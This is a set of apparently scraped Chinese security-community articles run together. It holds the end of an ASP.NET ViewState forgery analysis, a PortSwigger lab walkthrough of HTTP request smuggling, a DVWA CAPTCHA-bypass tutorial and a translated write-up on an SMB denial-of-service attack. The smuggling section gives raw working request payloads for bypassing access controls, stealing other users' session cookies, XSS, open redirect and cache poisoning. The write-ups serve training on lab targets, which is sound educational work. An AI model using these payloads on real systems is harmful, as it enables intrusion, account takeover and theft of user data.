_macKeyBytes[3] = (byte)(pageHashCode >> 24);
}
return _macKeyBytes;
}
函数流程：
1. 函数开头先通过 _page.GetClientStateIdentifier 计算出一个 pageHashCode；
2. 如果有viewStateUserKey，则modifier = pageHashCode + ViewStateUsereKey;
3. 如果没有viewStateUserKey，则modifier = pageHashCode
先看pageHashCode 来历：
// This is a non-cryptographic hash code that can be used to identify which Page generated
// a __VIEWSTATE field. It shouldn't be considered sensitive information since its inputs
// are assumed to be known by all parties.
internal uint GetClientStateIdentifier() {
// Use non-randomized hash code algorithms instead of String.GetHashCode.
// Use the page's directory and class name as part of the key (ASURT 64044)
// We need to make sure that the hash is case insensitive, since the file system
// is, and strange view state errors could otherwise happen (ASURT 128657)
int pageHashCode = StringUtil.GetNonRandomizedHashCode(TemplateSourceDirectory, ignoreCase:true);
pageHashCode += StringUtil.GetNonRandomizedHashCode(GetType().Name, ignoreCase:true);
return (uint)pageHashCode;
}
从注释中也可以看出，计算出directory 和 class name 的hash值，相加并返回。这样pageHashCode
就有4个字节了。所以我们可以手动计算一个页面的 pageHashCode，directory 和 class name
应当分别是网站集路径和网站集合名称。除此之外也可以从页面中的隐藏字段”__VIEWSTATEGENERATOR” 中提取。便如下图：
“__VIEWSTATEGENERATOR” 与 pageHashCode 的关系在这里：
再看ViewStateUserKey 的来历：
按照官方说法：ViewStateUserKey 即 ：在与当前页面关联的ViewState 变量中为单个用户分配标识符。
可见，ViewStateUserKey 是一个随机字符串值，且要保证与用户关联。如果网站使用了ViewStateUserKey，我们应当在SessionID
或 cookie 中去猜。在CVE-20202-0688 中，便是取 SessionID 作为ViewStateUserKey。
## 8\. 伪造ViewState
经过上面长篇大论的贴代码、分析。我们已经大致明白了ASP.NET 生成和解析ViewState 的流程。这有助帮助我们理解如何伪造
ViewState。当然了伪造 ViewState 仍然需要 泄露web.config，知晓其 密钥与算法。
1. 如果签名算法不是AES/3DES，无论是否开启加密功能，我们只需要根据其签名算法和密钥，生成一个签名的ViewState。由于发送该ViewState的时候没有使用”__VIEWSTATEENCRYPTED” 字段，导致ASP.NET 在解析时直接进入GetDecodedData() 进行签名校验，而不再执行解密步骤。
2. 如果签名算法是 AES/3DES，无论是否开启加密功能，我们只需按照先前所讲，对数据先签名一次，再加密一次，再签名一次。 然后发送给服务端，ASP.NET 进入 GetDecodedData()，然后先进 EncryptOrDecryptData() 进行一次校验和解密，出来后再进行一次校验。
换种表达方式，无论使用什么签名算法，无论是否开启加密功能，我们伪造ViewState时，就按照没有开启加密功能情况下的正常步骤，去伪造ViewState。
## 9.附录：
[1] ysoserial.net
<https://github.com/pwntester/ysoserial.net>
[2] viwgen (python 写的viewstate生成工具，不依赖.NET，方便自动化脚本使用)
<https://github.com/0xacb/viewgen>
[3] 什么是View State 及其在ASP.NET中的工作方式
<https://www.c-sharpcorner.com/UploadFile/225740/what-is-view-state-and-how-it-works-in-Asp-Net53/>
[4] 微软官方文档：ASP.NET服务器控件概述
<https://docs.microsoft.com/zh-cn/troubleshoot/aspnet/server-controls>
[5]《MSDN杂志》文章：ViewState 安全
<https://docs.microsoft.com/en-us/archive/msdn-magazine/2010/july/security-briefs-view-state-security>
[6] 安全通告KB2905247
<https://docs.microsoft.com/en-us/security-updates/SecurityAdvisories/2013/2905247?redirectedfrom=MSDN>
[7] 使用ViewState
<http://appetere.com/post/working-with-viewstate>
[8] Exhange CVE-2020-0688
<https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys> | 社区文章 |
# 梨子带你刷burpsuite靶场系列之高级漏洞篇 - HTTP请求走私专题
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 本系列介绍
>
> PortSwigger是信息安全从业者必备工具burpsuite的发行商，作为网络空间安全的领导者，他们为信息安全初学者提供了一个在线的网络安全学院(也称练兵场)，在讲解相关漏洞的同时还配套了相关的在线靶场供初学者练习，本系列旨在以梨子这个初学者视角出发对学习该学院内容及靶场练习进行全程记录并为其他初学者提供学习参考，希望能对初学者们有所帮助。
## 梨子有话说
>
> 梨子也算是Web安全初学者，所以本系列文章中难免出现各种各样的低级错误，还请各位见谅，梨子创作本系列文章的初衷是觉得现在大部分的材料对漏洞原理的讲解都是模棱两可的，很多初学者看了很久依然是一知半解的，故希望本系列能够帮助初学者快速地掌握漏洞原理。
## 高级漏洞篇介绍
> 相对于服务器端漏洞篇和客户端漏洞篇，高级漏洞篇需要更深入的知识以及更复杂的利用手段，该篇也是梨子的全程学习记录，力求把漏洞原理及利用等讲的通俗易懂。
## 高级漏洞篇 – HTTP请求走私专题
### 什么是HTTP请求走私？
所谓HTTP请求走私攻击，顾名思义，就会像走私一样在一个HTTP请求包中夹带另一个或多个HTTP请求包，在前端看来是一个HTTP请求包，但是到了后端可能会被解析器分解开从而导致夹带的HTTP请求包也会被解析，最终可以导致未授权访问敏感数据或攻击其他用户。
### 那么一次HTTP请求走私攻击会发生什么呢？
现如今，在前端与处理应用程序逻辑的后端之间往往会有其他中转服务器，用户在前端提交请求，由中转服务器进行中转，但是就像传话一样，总会有差错意的情况，中转请求也会如此，比如之前讲的把多个HTTP请求捆成一个提交，但是中转服务器可能会将这些请求拆解开，一个一个转发给目标服务器，此时就可能因为解析了多余的HTTP请求而导致各种意外，不仅是多个HTTP压缩成一个HTTP请求的情况，有时候将两个模棱两可的HTTP请求发出，但是有可能因为中转服务器差错意而错误拼接它们也会导致意外
### 那么HTTP请求走私是如何产生的呢？
大多数HTTP请求走私漏洞的出现是因为HTTP规范提供了两种不同的方法指定请求的结束位置
* Content-Length头
* Transfer-Encoding头
Content-Length头以字节为单位指定消息正文的长度，例如
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
Transfer-Encoding头一般指定邮件正文使用分块编码，例如
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
b
q=smuggling
0
每个块之间以换行符分割开，直到块大小为0字节时视为正文的结束，就是因为这两种不同的方法来指定HTTP消息的长度，就导致如果同时使用这两个头会造成冲突，HTTP规范中规定，如果两个头同时存在则忽略Content-Length头，此时如果出现一下两种情况：
* 一些服务器不支持Transfer-Encoding头
* 如果对头做了混淆处理则有些服务器虽然支持Transfer-Encoding头也不会处理它
## 怎么发动一次HTTP请求走私攻击呢？
HTTP请求走私攻击大致分为三种，CL.TE、TE.CL、TE.TE
### CL.TE漏洞
首先请求包中需要同时包含CL头(Content-Length)和TE头(Transfer-Encoding)，我们参考如下示例
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
从上面这一个HTTP请求包来看，CL头设置的是13，即从正文开始算包含13个字节的内容为止算是一个请求包，但是当这个请求包发到后端服务器时会采用TE头来处理请求包，此时会因为0的下一行是空行而认为该请求包已经结束了，那么多出来的内容怎么办呢？会被认为是下一个请求包的开始，此时则会产生HTTP请求走私攻击
### 配套靶场：HTTP请求走私攻击中的基础CL.TE漏洞
因为是CL.TE攻击，所以我们直接构造如下paylaod
CL头的值为6，就是包含三行共六个字节(包括换行符)，TE头指定了使用分块编码，发送两次请求包，成功因为前后端处理方式不同而导致HTTP走私攻击
### TE.CL漏洞
这一种就是前端服务器使用TE头处理，而后端服务器使用CL头处理，我们参考如下示例
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
原理就是前端服务器通过使用TE头指定的分块编码来分割处理请求包，既然是分块编码，就得指定每个分块的大小，就如上述代码所示，第一个分块大小为8字节长，第二个分块大小为0，分块编码会一直读取直到分块大小为0，所以以上的请求包会被前端当成一个请求包转发到后端服务器，但是到了后端服务器会因为CL头指定的长度仅包括了8及后面的CLRF字符而将这个请求包分割成两个处理，这就导致了HTTP请求走私漏洞
### 配套靶场：HTTP请求走私攻击中的基础TE.CL漏洞
因为我们已经知道了漏洞类型，我们可以直接构造payload
这里有一个需要注意的，就是在0的后面要添加两个空行，然后就也会因为前后端对HTTP请求方式不同而导致HTTP走私攻击
### TE.TE漏洞：混淆TE头
现在的场景是虽然前后端都支持TE头，但是可以通过某种混淆手段让某一端不处理TE头，例如
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
下面我们通过一道靶场来深入理解这种攻击手段
### 配套靶场：HTTP请求走私攻击中的混淆TE头
我们只要对两个TE头做混淆，所以我们构造如下paylaod
我们看到有两个TE头，但是有一个TE头是做了混淆的，所以就会导致在后端的时候不使用TE头来处理此时会转而采用CL头处理，从而将一个HTTP请求拆分成两个，导致HTTP走私攻击
## 寻找HTTP请求走私攻击
### 利用计时技术发现HTTP请求走私漏洞
**利用计时技术发现CL.TE漏洞**
当同时存在CL头和TE头时，如果请求包正文的长度大于CL头指定的长度，则会导致请求包只有CL头指定长度内的内容，从而导致后端服务器因为采用TE头处理而一直等待后续请求包，最终会导致超时，故可以证明存在CL.TE漏洞，例如
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4
1
A
X
**利用计时技术发现TE.CL漏洞**
这种漏洞也是，如果正文是被空行分隔的两部分则也会导致仅发出不完整的请求导致后端服务器在利用CL头接收请求包时等待，直到超时，则可以证明存在TE.CL漏洞，例如
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6
0
X
值得注意的是如果应用程序可能受到CL.TE攻击，那么针对TE.CL漏洞的利用计时技术的测试可能会干扰其他应用程序用户。因此，要保持隐蔽并最大程度地减少超时现象，应该首先使用CL.TE测试，只有在第一次测试不成功时才继续进行TE.CL测试。
### 利用响应差异确认HTTP请求走私漏洞
发送两次请求，第一个是魔改的请求包，第二个是正常的请求，这样就能用第一个请求干扰后端服务器对第二个请求包的处理
**利用响应差异确认CL.TE漏洞**
因为是CL.TE，所以在第一个请求包结束以后加入一个空行再开始编写第二个请求包，像这样
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunked
e
q=smuggling&x=
0
GET /404 HTTP/1.1
Foo: x
第一次发送这个请求包会因为后端服务器利用TE头处理而将第二个请求包作为单独的请求包处理，但是第二个请求包又不完整，所以会等待后续的请求包，当第二次发送请求后会将上一次的剩余的请求头与这一次请求包合并起来处理，此时会接收到异常的响应，就能判断存在CL.TE漏洞，像这样
GET /404 HTTP/1.1
Foo: xPOST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
**配套靶场：利用响应差异确认HTTP请求走私中的CL.TE漏洞**
因为是CL.TE，所以可以这样构造payload
发送两次以后，就会触发HTTP请求走私漏洞
**利用响应差异确认TE.CL漏洞**
因为是TE.CL漏洞，所以CL头设置为第一个请求包之内的长度，TE头设置为分块编码，像这样
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
7c
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
x=
0
值得注意的是0后面有一个\r\n\r\n，然后在Repeater中关闭了自动填充，这样就能走私出第二个请求包，然后第二个请求包中也会有一个CL头，这个CL头要足够大到能包含下一个接收到的请求包，此时会导致虽然第二次发出的是正常的请求包，也会因为与之前走私的请求包合并而接收到走私请求包应收到的响应，就判断存在TE.CL漏洞，像这样
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 146
x=
0
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
**配套靶场：利用响应差异确认HTTP请求走私中的TE.CL漏洞**
因为是TE.CL漏洞，所以可以构造如下paylaod
发送两次请求即可触发HTTP请求走私攻击
### 在尝试通过干扰其他请求确认请求走私漏洞时的一些重要的考虑因素
* 应使用不同的网络连接发送攻击请求和正常请求
* 攻击请求和正常请求应尽可能使用相同的URL和参数名称，这样大概率会将它们转发到相同的后端服务器
* 在发送了攻击请求之后应尽可能立即发送正常请求，因为可能有其他请求与之竞争
* 如果应用系统部署了负载均衡，可能要多发几次，因为可能会被转发到不同的后端服务器
* 如果虽然成功干扰了后续的请求但是收到的响应并不是预期的，可能有真实用户遭受到了攻击
## 利用HTTP请求走私漏洞
### 利用HTTP请求走私绕过前端安全控制
一些应用系统的前端配置了某些安全控制，以决定是否允许将请求转发到后端服务器，所以如果请求通过了前端的安全控制，则会被后端服务器无条件接受，而不会进行其他的检查，这样的话就可以利用HTTP走私请求将恶意的请求包夹带在正常的请求包中送到后端服务器，例如
POST /home HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: xGET /home HTTP/1.1
Host: vulnerable-website.com
### 配套靶场1：利用CL.TE绕过前端安全控制的HTTP请求走私攻击
因为前端服务器会拒绝转发/admin的请求，但是可以利用CL.TE请求走私来让/admin的请求进入后端服务器，所以我们构造如下paylaod
从截图来看/admin请求已经可以传到后端服务器了，但是页面提示只有本地用户才能访问，于是我们再修改一下payload
但是我们发现因为两个请求包的Host头不同而被拒绝了，所以我们需要再修改一下payload
我们发现只要将第二个请求包修改成一个正常的请求包即可会被后端服务器当成一个新的请求包来解析，我们看到了删除用户的URL，于是我们修改一下URL重新发送请求，即可成功删除指定用户
### 配套靶场2：利用TE.CL绕过前端安全控制的HTTP请求走私攻击
我们采用相同的方式构造payload，但是我们需要把自动更新CL头的值关掉，因为我们要利用后端服务器通过CL头分割请求包来让第二个请求包走私出来，于是我们这样构造payload
然后为了被后端服务器识别为本地用户我们还需要再修改一下请求包
我们看到我们已经被识别为本地用户并且进入admin页面了，于是我们就能修改URL删除指定用户了
### 回显前端对请求重写的过程
有一些应用系统会在将请求转发到后端服务器之前对请求做一些重写，如
* 终止TLS连接并加入一些头部描述使用的协议和加密算法
* 添加一个包含用户IP地址的X-Forwarded-For头部
* 基于用户会话令牌决定用户ID并添加一个识别用户的头
* 添加一些其他攻击感兴趣的敏感信息
有时候如果走私请求缺少由前端服务器添加的头的话可能会导致走私请求攻击失败，所以我们需要利用某些手段回显前端服务器重写的方式，如
* 寻找一个可以把请求的参数值反馈到响应中的POST请求
* 移动参数以使它们会反馈在消息正文中的最后面
* 构造发往后端服务器的走私请求，紧接着一个普通的请求以使得到回显
我们关注这样的一个请求包
POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
[email protected]
响应会包含下面这条
`<input id="email" value="wiener[@normal](https://github.com/normal
"@normal")-user.net" type="text">`
我们可以通过HTTP请求走私攻击获得重写的结果，像这样
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Transfer-Encoding: chunked
0
POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
email=POST /login HTTP/1.1
Host: vulnerable-website.com
...
请求将由前端服务器重写以包含额外的头，然后后端服务器将处理走私的请求并将重写的第二个请求视为电子邮件参数的值，像这样
<input id="email" value="POST /login HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-For: 1.3.3.7
X-Forwarded-Proto: https
X-TLS-Bits: 128
X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256
X-TLS-Version: TLSv1.2
x-nr-external-service: external
...
由于最后的请求正在被重写，我们不知道什么时候结束。CL头中的值将决定后端服务器相信该请求的时间。如果值设置得太短，就只会收到部分重写的请求；如果设置太长，后端服务器将超时等待请求完成。解决的方法就是猜测一个比提交的请求大一点的初始值，然后逐渐增大该值直到得到所有的信息。
### 配套靶场：利用HTTP请求走私回显前端对请求重写的过程
我们看到一个搜索框，那么这可能存在HTTP请求走私漏洞点，所以我们这样构造payload
我们发现由前端重写的请求包会被反馈在响应中，说明我们成功通过HTTP请求走私漏洞获取到了前端服务器用来指定来源IP的字段名，我们就可以伪造成本地用户了，于是我们这样修改请求包
我们已经看到了删除指定用户的URL，所以我们再次修改请求包，成功删除指定用户
### 窃取其他用户的请求
有些应用程序包含任何允许存储和检索文本数据的功能，则可以利用HTTP请求走私来窃取其他用户的请求，原理与上一种利用方式相似，也是将其他用户的请求包作为参数值包含在响应中，burp官方以评论功能为例，即将请求包包含在用来存储评论内容的参数comment中，例如这样的提交评论的请求
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 154
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&comment=My+comment&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net
我们可以通过HTTP请求走私攻击将数据存储请求走私到后端，像这样
GET / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 324
0
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=
当后端服务器处理另一个用户的请求时，它会附加到走私的请求中，结果用户的请求被存储，包括受害用户的会话cookie和任何其他敏感数据，像这样
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=GET / HTTP/1.1
Host: vulnerable-website.com
Cookie: session=jJNLJs2RKpbg9EQ7iWrcfzwaTvMw81Rj
...
### 配套靶场：利用HTTP请求走私窃取其他用户的请求
因为有评论功能，所以我们构造如下payload，多试几次，就能成功窃取到其他用户的请求
我们成功获得了目标用户的cookie，然后用他的cookie登录
### 利用HTTP请求走私触发反射型XSS
利用HTTP请求走私触发反射型XSS有两个相对于普通反射型XSS的优点
* 它不需要与受害者用户进行交互
* 它可用于在请求的某些部分中利用XSS，如在HTTP请求头中
示例如下，通过UA注入XSS payload
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 63
Transfer-Encoding: chunked
0
GET / HTTP/1.1
User-Agent: <script>alert(1)</script>
Foo: X
下一个用户的请求将附加到走私的请求中，就会在响应中收到反射型XSS payload。
### 配套靶场：利用HTTP请求走私触发反射型XSS
因为题目已经告知我们要在UA头里面构造payload，所以我们构造如下请求包
然后发送两次请求以后即可触发HTTP请求走私攻击了，用户就会受到XSS攻击
### 利用HTTP请求走私将页面内重定向转变为开放重定向
首先我们看这样一个请求
GET /home HTTP/1.1
Host: normal-website.com
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
这是一个页面内重定向的请求，但是我们可以利用HTTP请求走私使其跳转到其他任意域，例如
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
后续的请求会被影响成这样
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
此处，用户请求的是由网站上的页面导入的JS文件。攻击者可以通过在响应中返回他们自己的JS来完全危害受害用户。
### 利用HTTP请求走私发动web缓存投毒
由上一种情况派生出，如果应用系统开启了缓存功能，在已经生成了重定向到恶意域的缓存以后，会影响到其他的用户，例如
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 59
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /static/include.js HTTP/1.1
Host: vulnerable-website.com
走私的请求到达后端服务器，后端服务器像以前一样通过开放重定向进行响应。服务器会缓存/static/include.js的响应。
GET /static/include.js HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
当其他用户请求此 URL 时，他们会收到指向攻击者网站的重定向。
### 配套靶场：利用HTTP请求走私发动web缓存投毒
首先我们利用重定向原理观察一下是怎么构造的
然后我们就可以在Exploit Server中构造如下payload并修改请求包
于是我们再夹带一个请求包以使几乎所有页面都会被缓存，从而实现全范围的投毒
多点击几次即可缓存所有页面，因为所有页面都被投毒，导致用户的受到严重影响，所以危害还是很大的
### 利用HTTP请求走私发动Web缓存欺骗
Web缓存欺骗是将其他用户接收到的响应作为缓存，从而在缓存有效期内攻击者也能访问到该缓存中包含的敏感信息，这一点是与Web缓存投毒不同的。我们尝试这样构造攻击
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 43
Transfer-Encoding: chunked
0
GET /private/messages HTTP/1.1
Foo: X
转发到后端服务器的另一个用户的下一个请求将附加到走私请求，包括会话cookie和其他头
GET /private/messages HTTP/1.1
Foo: XGET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z
...
服务器会缓存/static/some-image.png的响应，攻击者也能接收到这份缓存
GET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 200 Ok
...
<h1>Your private messages</h1>
...
但是这种攻击需要大量的请求才可能成功，因为不知道哪个URL会产生敏感信息。
### 配套靶场：利用HTTP请求走私发动Web缓存欺骗
先登录测试用户，然后知道了/account页面可以看到用户的API Key，所以我们可以这样构造payload
不断地重放包，然后得到以上响应以后要在隐私模式下访问首页，多刷新几次刷到加载出首页以后，点开burp中的Search功能，搜索Your API Key
is直到出现以下情况
我们就得到了administrator的API Key了
## 如何缓解HTTP请求走私漏洞？
* 禁用后端连接的重用，防止多个请求拼接
* 使用HTTP/2用于后端连接，该协议可以防止请求之间的界限模糊不清
* 前后端使用完全相同的中间件，以保证对请求处理方式的一致性
## 总结
以上就是梨子带你刷burpsuite官方网络安全学院靶场(练兵场)系列之高级漏洞篇 –
HTTP请求走私专题的全部内容啦，本专题主要讲了HTTP请求走私攻击的原理、识别方法、构造方法、利用及防护等，本专题还是非常有趣的，大家一定要动手开启靶场亲自做一遍哦，感兴趣的同学可以在评论区进行讨论，嘻嘻嘻。 | 社区文章 |
# 6.Insecure CAPTCHA
## 1.Insecure CAPTCHA(Low)
相关代码分析
<?php
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key'],
$_POST['g-recaptcha-response']
);
// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
$html .= "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the end user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
$html .= "<pre>Passwords did not match.</pre>";
$hide_form = false;
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
可以看到，服务器将改密操作分成了两步，第一步检查用户输入的验证码，验证通过后，服务器返回表单，第二步客户端提交post请求，服务器完成更改密码的操作。但是，这其中存在明显的逻辑漏洞，服务器仅仅通过检查Change、step
参数来判断用户是否已经输入了正确的验证码。
通过构造参数绕过验证过程的第一步
首先输入密码，点击Change按钮，抓包：
（ps:因为没有翻墙，所以没能成功显示验证码，发送的请求包中也就没有recaptcha_challenge_field、recaptcha_response_field两个参数）
更改step参数为2绕过验证码：
修改密码成功：
## 2.Insecure CAPTCHA(Medium)
相关代码分析
可以看到，Medium级别的代码在第二步验证时，参加了对参数passed_captcha的检查，如果参数值为true，则认为用户已经通过了验证码检查，然而用户依然可以通过伪造参数绕过验证，本质上来说，这与Low级别的验证没有任何区别。
1.可以通过抓包，更改step参数，增加passed_captcha参数，绕过验证码。
抓到的包：
更改之后的包：passed_captcha=true
更改密码成功：
## 3.Insecure CAPTCHA(High)
相关代码分析
在High级别中, 去掉了逻辑漏洞的成因----step, 而且加入了防CSRF机制。
漏洞利用
仔细审查代码, 可以看到服务器的验证逻辑是当参数
resp（这里是指谷歌验证码返回的验证结果）是false，并且参数recaptcha_response_field不等于hidd3n_valu3（或者http包头的User-Agent参数不等于reCAPTCHA）时，就认为验证码输入错误，反之则认为已经通过了验证码的检查。
弄清楚了逻辑, 存在的逻辑漏洞就是 || (异或条件), 只要我们抓包修改一下参数值:
recaptcha_response_field=hidd3n_valu3
User-Agent: reCAPTCHA
再提交就可以绕过了:
先抓包
修改后的包
由于有墙，未能复现成功
## 4.Insecure CAPTCHA(Impossible)
相关代码分析
可以看到，Impossible级别的代码增加了Anti-CSRF token 机制防御CSRF攻击
利用PDO技术防护sql注入，验证过程终于不再分成两部分了，验证码无法绕过，同时要求用户输入之前的密码，进一步加强了身份认证。
文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。
免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。
转载声明：儒道易行
拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。 | 社区文章 |
# 【技术分享】SMB 拒绝服务漏洞在web应用上的利用
|
##### 译文声明
本文是翻译文章，文章来源：secureworks.com
原文地址：<https://www.secureworks.com/blog/attacking-windows-smb-zero-day-vulnerability>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[why233](http://bobao.360.cn/member/contribute?uid=2795848289)
预估稿费：110RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**
**
**前言**
CVE-2017-0016 SMB 0 day 漏洞可导致Windows系统拒绝服务，本篇文章主要讲解漏洞在web应用上的利用。
2017年2月2日，安全研究人员公布了存在于Microsoft Windows SMB中的0 day
漏洞（[CVE－2017-0016](http://www.kb.cert.org/vuls/id/867968)），受影响系统版本有Windows
8.1，Windows 10，Windows Server 2012 R2及 Windows Server
2016.当客户端访问恶意SMB服务端时，攻击者能够造成其拒绝服务（denial of
service，DoS）。研究人员还发布了[PoC](https://github.com/lgandx/PoC/tree/master/SMBv3%20Tree%20Connect)来利用这个安全问题。
为了利用这个漏洞，受影响终端必须访问恶意SMB服务器，这个利用门槛富有挑战性。不过，SecureWorks
研究人员确认2015年发布的“[重定向至SMB攻击](https://blog.cylance.com/redirect-to-smb)”能够成功的利用本次的SMB 0 day。
**连锁攻击来利用SMB zero－day**
* * *
后文描述来怎么通过结合SMB重定向漏洞和SMB 0 day 漏洞来攻击windows系统。
1\. 攻击者在自己控制的系统中运行PoC（见图1），攻击者控制的系统本例中运行PoC（Win10.py）和监听TCP端口445
图一 攻击者控制的系统运行着SMB 0 day 利用代码（来源：SecureWorks）
2\. 攻击者在另外一个系统设置并运行一个web服务。
3\. 攻击者将图2中列出的“redirect-smb.php”PHP文件放在公共目录中。 此PHP文件使用了SMB重定向漏洞。
图2 放入公共目录的php文件（来源：SecureWorks）
4\. 使用受害者的Windows 10系统上的Internet Explorer访问攻击者的Web服务器，受害者单击与“redirect-smb.php”文件相对应的链接（见图3）
图3 受害者点击php恶意链接（来源：SecureWorks）
5\. 单击此链接将受害者的系统重定向到攻击者的SMB服务器并启动DoS攻击（见图4）
图4 发送SMB DoS利用代码到受害者的系统（来源：SecureWorks）
